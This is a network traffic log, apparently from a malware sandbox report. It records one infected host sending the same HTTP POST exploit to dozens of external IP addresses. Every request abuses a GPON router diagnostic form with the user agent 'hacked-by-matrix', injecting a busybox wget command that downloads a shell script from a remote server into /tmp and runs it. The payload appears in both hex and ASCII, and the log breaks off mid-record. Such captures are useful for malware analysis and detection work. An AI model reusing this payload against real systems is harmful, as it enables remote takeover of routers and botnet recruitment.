Mar 21, 2024 05:23:33.817121983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1741	192.168.2.13	59824	42.202.187.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817121983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1742	192.168.2.13	44218	118.212.17.118	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817138910 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1743	192.168.2.13	58350	109.29.237.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817188978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1744	192.168.2.13	58174	212.79.87.37	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817228079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1745	192.168.2.13	60274	118.8.190.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817234039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1746	192.168.2.13	54462	109.219.243.153	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817262888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1747	192.168.2.13	36116	118.223.3.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817269087 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1748	192.168.2.13	34890	42.160.36.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817354918 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1749	192.168.2.13	55038	109.84.12.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817370892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1750	192.168.2.13	46012	212.236.254.99	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817388058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1751	192.168.2.13	59702	109.238.11.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817420959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1752	192.168.2.13	58770	118.131.209.236	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817423105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1753	192.168.2.13	47414	5.71.246.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817491055 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1754	192.168.2.13	52792	5.176.153.18	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817507982 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1755	192.168.2.13	56960	118.81.92.116	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817533970 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1756	192.168.2.13	45310	212.72.133.242	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817549944 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1757	192.168.2.13	43782	109.156.85.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817598104 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1758	192.168.2.13	47574	109.237.2.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817656040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1759	192.168.2.13	41436	5.44.106.236	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817656994 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1760	192.168.2.13	56404	109.236.179.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817708969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1761	192.168.2.13	58048	5.48.49.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817713022 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1762	192.168.2.13	51888	42.6.212.105	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817744970 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1763	192.168.2.13	40078	212.31.224.216	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.817754030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1764	192.168.2.13	51234	212.76.20.123	443

Timestamp	Bytes transferred	Direction	Data
